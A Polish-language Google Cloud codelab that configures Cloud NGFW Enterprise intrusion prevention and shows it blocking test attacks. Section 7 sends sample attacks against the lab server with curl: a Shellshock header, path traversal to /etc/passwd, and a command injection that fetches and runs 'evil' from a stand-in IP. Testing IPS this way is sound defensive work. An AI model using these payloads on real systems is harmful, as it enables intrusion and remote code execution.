Cloud NGFW Enterprise – usługa zapobiegania włamaniom (bez inspekcji TLS)

1. Wprowadzenie

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall to w pełni rozproszona usługa zapory sieciowej z zaawansowanymi funkcjami ochrony, mikrosegmentacją i wszechstronnym zasięgiem, która chroni zbiory zadań Google Cloud przed atakami wewnętrznymi i zewnętrznymi.

Cloud NGFW ma te zalety:

  • Rozproszona usługa zapory sieciowej: Cloud NGFW zapewnia stanowe, w pełni rozproszone egzekwowanie zasad na poziomie hosta w przypadku każdego zbioru zadań, aby umożliwić architekturę zabezpieczeń opartą na zasadzie „zero zaufania”.
  • Uproszczona konfiguracja i wdrożenie: Cloud NGFW implementuje zasady zapory sieciowej i hierarchiczne zasady zapory sieciowej, które można dołączyć do węzła hierarchii zasobów. Zapewniają one spójne działanie zapory sieciowej w całej hierarchii zasobów Google Cloud.
  • Szczegółowa kontrola i mikrosegmentacja: połączenie zasad zapory sieciowej i tagów zarządzanych przez Identity and Access Management (IAM) zapewnia szczegółową kontrolę ruchu w kierunku północ-południe i wschód-zachód, aż do pojedynczej maszyny wirtualnej, w sieciach prywatnego środowiska wirtualnego w chmurze (VPC) i organizacjach.

Usługa Cloud NGFW jest dostępna w tych wersjach:

Cloud NGFW Enterprise

Cloud NGFW Enterprise dodaje do rozproszonej struktury zapory sieciowej Google Cloud usługę zapobiegania włamaniom (IPS), czyli funkcję warstwy 7. Inspekcja TLS jest obsługiwana, aby umożliwić sprawdzanie ruchu zaszyfrowanego za pomocą TLS, ale wykracza poza zakres tego laboratorium (patrz Cloud NGFW Enterprise Codelab with TLS Inspection).

Możesz teraz wdrażać niezawodne inspekcje zapory sieciowej nowej generacji (NGFW) warstwy 7 z precyzyjnymi elementami sterującymi bez wprowadzania zmian w architekturze sieci ani konfiguracjach routingu.

Aby aktywować i wdrożyć kontrolę zapory sieciowej warstwy 7 z systemem IPS, musisz wykonać te czynności:

  • Utwórz zestaw zarządzanych przez Google Cloud strefowych punktów końcowych zapory sieciowej.
  • Opcjonalnie utwórz zasadę inspekcji TLS (nie jest to opisane w tym laboratorium)
  • Opcjonalnie utwórz konfigurację zaufania (nie jest to opisane w tym laboratorium)
  • Powiąż te punkty końcowe z sieciami prywatnego środowiska wirtualnego w chmurze (VPC), w których potrzebujesz usługi Cloud NGFW Enterprise.
  • Wprowadź proste zmiany w dotychczasowych zasadach zapory sieciowej i regułach zapory sieciowej, aby określić profile ochrony przed zagrożeniami dla różnych ścieżek ruchu.

Zasady zapory sieciowej

Zasada zapory sieciowej działa jako kontener reguł zapory sieciowej. Reguły zdefiniowane w zasadach zapory sieciowej nie są egzekwowane w żadnym miejscu, dopóki zasady nie zostaną powiązane z siecią VPC. Każda sieć VPC może mieć powiązaną z nią jedną zasadę zapory sieciowej. Zasady zapory sieciowej obsługują tagi zarządzane przez IAM (lub po prostu tagi) w regułach zapory sieciowej, które zastępują bieżące tagi sieci i mogą być używane do przypisywania tożsamości do zbioru zadań.

Udostępnianie zasad zapory sieciowej w różnych sieciach i integracja z tagami zarządzanymi przez uprawnienia znacznie upraszczają konfigurację i zarządzanie zaporami.

Wraz z wprowadzeniem zasady zapory sieciowej zasady zapory sieciowej Google Cloud składają się teraz z tych komponentów:

  1. Hierarchiczne zasady zapory sieciowej
  2. Reguły zapory sieciowej VPC
  3. Zasady zapory sieciowej ( globalne i regionalne)

Hierarchiczne zasady zapory sieciowej są obsługiwane w węzłach organizacji i folderów w hierarchii zasobów, natomiast reguły zapory sieciowej VPC i zasady zapory sieciowej są stosowane na poziomie VPC. Duża różnica między regułami zapory sieciowej VPC a zasadami zapory sieciowej polega na tym, że reguły zapory sieciowej VPC można stosować tylko do jednej sieci VPC, a zasady zapory sieciowej można dołączać do jednej sieci VPC lub grupy sieci VPC. Zapewniają one też inne korzyści, takie jak aktualizacje zbiorcze.

Oprócz tego każda sieć VPC ma domyślne reguły zapory sieciowej:

  • Reguła ruchu wychodzącego, której działanie to zezwolenie, a miejsce docelowe to 0.0.0.0/0
  • Reguła ruchu przychodzącego, której działanie to odmowa, a źródło to 0.0.0.0/0

Domyślnie sekwencja egzekwowania jest wyświetlana na tym diagramie:

21b3bcabc469ffe.png

Pamiętaj, że kolejność egzekwowania reguł zapory sieciowej VPC i globalnych zasad zapory sieciowej może zostać zamieniona. Klienci mogą w dowolnym momencie określić kolejność egzekwowania zasad za pomocą polecenia gcloud.

Tagi zarządzane przez IAM

Nowe tagi zintegrowane z regułami zasad zapory sieciowej to zasoby w postaci par klucz-wartość zdefiniowane na poziomie organizacji lub projektu w hierarchii zasobów Google Cloud. Taki tag zawiera kontrolę dostępu w uprawnieniach, która określa, kto może wykonywać jakie działania na tagu. Uprawnienia IAM pozwalają na przykład określić, które podmioty zabezpieczeń mogą przypisywać wartości do tagów, a które mogą dołączać tagi do zasobów. Gdy tag zostanie zastosowany do zasobu, reguły zapory sieciowej mogą go używać do zezwalania na ruch i odrzucania go.

Tagi są zgodne z modelem dziedziczenia zasobów Google Cloud, co oznacza, że tagi i ich wartości są przekazywane w hierarchii z elementów nadrzędnych. Dzięki temu tagi można tworzyć w jednym miejscu, a potem używać w innych folderach i projektach w całej hierarchii zasobów. Szczegółowe informacje o tagach i ograniczeniach dostępu znajdziesz na tej stronie.

Tagów nie należy mylić z tagami sieci. Są to ciągi znaków, które można dodawać do instancji Compute Engine. Są one powiązane z instancją i znikają po jej wycofaniu. Reguły zapory sieciowej VPC mogą zawierać tagi sieci, ale ponieważ nie są traktowane jako zasoby w chmurze, nie podlegają kontroli dostępu IAM.

W tym dokumencie terminy „tagi” i „tagi zarządzane przez IAM” są używane zamiennie.

Co utworzysz

Ten moduł wymaga jednego projektu i możliwości utworzenia sieci VPC z połączeniem publicznym. Pokazuje, jak Cloud NGFW Enterprise może zapewniać funkcje IPS:

  • Sprawdzanie przepływów wewnątrz sieci VPC lub podsieci [wschód–zachód]
  • Sprawdzanie przepływów ruchu przychodzącego z internetu [północ-południe]

Przepływy do sprawdzenia będą wybierane za pomocą parametrów dopasowywania zapory sieciowej Cloud, w tym 5-krotki (źródłowy adres IP, docelowy adres IP, protokół, port źródłowy, port docelowy) i tagów. W tych ćwiczeniach z programowania nie omawiamy inspekcji TLS.

52a0642ef8668ecf.png

Baza reguł zasad zapory sieciowej będzie podobna do tabeli poniżej:

Priorytet

Kierunek

Target

Źródło

Cel

Czynność

Typ

100

Ruch wychodzący

Quarantine_Tag

Dowolna

Dowolna

Odmów

Essentials

1000

Ruch przychodzący

Server_Tag

Zakresy kontroli stanu

Dowolna

Zezwól

Essentials

2000

Ruch przychodzący

Dowolna

Zakresy Identity-Aware Proxy

Dowolna

Zezwól

Essentials

3000

Ruch przychodzący

Dowolna

Dane geograficzne, GCTI

Dowolna

Odmów

Standardowe

4000

Ruch wychodzący

Dowolna

Dowolna

Dane geograficzne, GCTI

Odmów

Standardowe

5000

Ruch wychodzący

Dowolna

Dowolna

Pełne i jednoznaczne nazwy domen aktualizacji systemu

Zezwól

Standardowe

6000

Ruch przychodzący

Server_Tag

10.0.0.0/24

Dowolna

system zapobiegania włamaniom

Enterprise

7000

Ruch przychodzący

Server_Tag

CloudNAT_IP

Dowolna

system zapobiegania włamaniom

Enterprise

Czego się nauczysz

Czego potrzebujesz

  • Projekt Google Cloud
  • umiejętność wdrażania instancji i konfigurowania komponentów sieciowych;
  • Znajomość konfiguracji zapory sieciowej VPC

2. Zanim zaczniesz

Tworzenie i aktualizowanie zmiennych

W tym laboratorium wykorzystywane są zmienne, które ułatwiają wdrażanie konfiguracji gcloud w Cloud Shell.

W Cloud Shell uruchom podane niżej polecenia, zastępując informacje w nawiasach kwadratowych odpowiednimi danymi (jeśli wybrany projekt jest już ustawiony, pomiń ustawianie projektu). W przypadku zasobów na poziomie organizacji używana jest inna zmienna, jeśli np. potrzebnych jest wiele punktów końcowych zapory sieciowej.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Włącz interfejsy API

Włącz interfejsy API, jeśli jeszcze tego nie zrobiono:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tworzenie profilu zabezpieczeń i punktu końcowego Cloud NGFW Enterprise

Tworzenie punktu końcowego Cloud NGFW Enterprise trwa około 20 minut, więc zostanie on utworzony jako pierwszy, a podstawową konfigurację można przeprowadzić równolegle podczas tworzenia punktu końcowego.

Utwórz profil zabezpieczeń i grupę profili zabezpieczeń:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Oczekiwane dane wyjściowe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Sprawdź, czy zasoby zostały utworzone:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Oczekiwane dane wyjściowe:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Utwórz punkt końcowy Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Uruchom to polecenie, aby sprawdzić, czy punkt końcowy jest tworzony (STATE: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Opcjonalnie możesz uruchomić to polecenie, aby uzyskać więcej szczegółów:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Proces tworzenia punktu końcowego trwa około 20 minut. Przejdź do sekcji Konfiguracja podstawowa, aby równolegle utworzyć wymagane zasoby.

5. Konfiguracja podstawowa

Jeśli wolisz utworzyć zasoby podstawowe ręcznie, przejdź do kolejnych sekcji.

Sieć VPC i podsieć

Sieć VPC i podsieć

Utwórz sieć VPC i podsieć:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Utwórz routery Cloud Router i bramy Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instancje

Utwórz instancje klienta i serwera WWW:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Tagi na poziomie projektu

W razie potrzeby przypisz użytkownikowi uprawnienia tagAdmin lub tagUser:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Utwórz klucz tagu i wartości na poziomie projektu:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Powiąż tagi z instancjami:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Globalne zasady zapory sieciowej

Utwórz globalną zasadę zapory sieciowej:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Utwórz podstawowe reguły zapory sieciowej Cloud, aby odrzucać ruch z instancji poddanych kwarantannie (utworzonych tylko na potrzeby przykładu, nieużywanych w tym module) i zezwalaj na ruch z zakresów kontroli stanuIdentity-Aware Proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Utwórz reguły zapory sieciowej Cloud w wersji Standard, aby odrzucać ruch przychodzący i wychodzący z krajów objętych embargiem, znanych złośliwych adresów IP i węzłów wyjściowych sieci Tor oraz zezwalać na ruch wychodzący tylko do określonych w pełni kwalifikowanych nazw domen w celu aktualizacji systemu (utworzone tylko jako przykład, nie są używane w tym laboratorium):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Utwórz reguły zapory sieciowej Cloud Firewall, aby zezwolić na ruch przychodzący wschód-zachód / wewnątrz podsieci i północ-południe / internet z określonych zakresów (te reguły zostaną zaktualizowane, aby włączyć Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Powiąż zasadę zapory sieciowej z siecią VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Zewnętrzny sieciowy system równoważenia obciążenia TCP/UDP

Zarezerwuj zewnętrzny adres IP oraz utwórz grupę instancji i kontrolę stanu:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Utwórz usługę backendu i regułę przekierowania:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Powiązanie punktu końcowego Cloud NGFW Enterprise

W razie potrzeby zmień definicje zmiennych środowiskowych.

Sprawdź, czy tworzenie punktu końcowego zapory sieciowej w chmurze zostało zakończone. Kontynuuj dopiero wtedy, gdy stan będzie AKTYWNY (podczas tworzenia oczekiwany stan to TWORZENIE):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Opcjonalnie możesz uruchomić to polecenie, aby uzyskać więcej szczegółów:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Powiąż punkt końcowy Cloud NGFW Enterprise z siecią VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Proces łączenia trwa około 10 minut. Kontynuuj dopiero wtedy, gdy stan będzie AKTYWNY (oczekiwany stan podczas procesu tworzenia to TWORZENIE):

gcloud network-security firewall-endpoint-associations list

Oczekiwane dane wyjściowe:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Opcjonalnie możesz uruchomić to polecenie, aby uzyskać więcej szczegółów:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Reguły inspekcji Cloud NGFW Enterprise

Otwórz nową kartę i zainicjuj połączenie SSH z kliencką maszyną wirtualną przez IAP (na nowej karcie musisz ponownie zdefiniować zmienne):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Zdefiniuj wymagane zmienne w sesji SSH i ustaw je (upewnij się, że wartości są prawidłowe):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

Wyślij żądanie curl do obu adresów IP, aby sprawdzić, czy są dostępne:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Oczekiwany wynik obu żądań curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Wysyłaj przykładowe ataki na wewnętrzny adres IP serwera (ruch wschód-zachód / w obrębie sieci VPC). Serwer WWW powinien odpowiadać na wszystkie żądania, potwierdzając, że nie ma inspekcji ani ochrony na poziomie 7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Ponownie wyślij przykładowe ataki na zewnętrzny adres IP serwera za pomocą Cloud NAT (ruch przychodzący z północy na południe), a serwer WWW powinien odpowiadać na wszystkie żądania:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Oczekiwane wyniki w przypadku publicznych i prywatnych adresów IP:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Wróć do Cloud Shell i zaktualizuj istniejące reguły Ingress, aby włączyć inspekcję L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Opcjonalnie możesz opisać reguły zapory sieciowej, aby sprawdzić, czy obie zostały zaktualizowane:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Oczekiwane dane wyjściowe:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Reguła 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Oczekiwane dane wyjściowe:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Wróć do klienckiej maszyny wirtualnej i ponownie wyślij przykładowe ataki na wewnętrzny adres IP serwera (inspekcja ruchu wschód-zachód / wewnątrz sieci VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Ponownie wyślij przykładowe ataki na zewnętrzny adres IP serwera za pomocą Cloud NAT (kontrola ruchu przychodzącego w kierunku północ-południe):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

W przypadku pierwszych ataków nie otrzymano żadnych odpowiedzi, co potwierdza, że ataki o dużej wadze są teraz blokowane.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Aby sprawdzić logi, w konsoli Cloud otwórz Bezpieczeństwo sieciowe > Zagrożenia (jeśli ataki jeszcze się nie wyświetlają, może być konieczne kilkukrotne odświeżenie strony).

daa535fcc34873aa.png

Wybierz jeden z ataków i po prawej stronie kliknij „Wyświetl dziennik audytu” (otwórz go w nowej karcie, aby łatwo wrócić). Rozwiń atak, aby wyświetlić szczegóły:

5f97cdef79e42eff.png

Opcjonalnie możesz zastąpić filtr eksploratora logów poniższym zapytaniem:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Wpisy w logu zagrożeń powinny wyglądać tak:

5ea9581a7eb694c5.png

Pakiety przechwycone przez zaporę sieciową Cloud można sprawdzić za pomocą filtra Eksploratora logów poniżej (przydatne do rozwiązywania problemów):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Przejdź do sekcji Kontrola ruchu internetowego (opcjonalnie) lub zamknij sesję SSH i przejdź do następnego rozdziału, aby wykonać czynności związane z czyszczeniem.

[Opcjonalnie] Kontrola ruchu internetowego

Jak sprawdziliśmy w poprzedniej sekcji, dotychczas zbadane przepływy to przepływy wewnątrz podsieci lub sieci VPC (wschód–zachód) oraz ruch przychodzący z internetu (północ–południe). Cloud NGFW Enterprise można też skonfigurować tak, aby sprawdzać cały ruch internetowy (wychodzący z północy na południe). W tym celu utwórz nową regułę wyjścia za pomocą Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

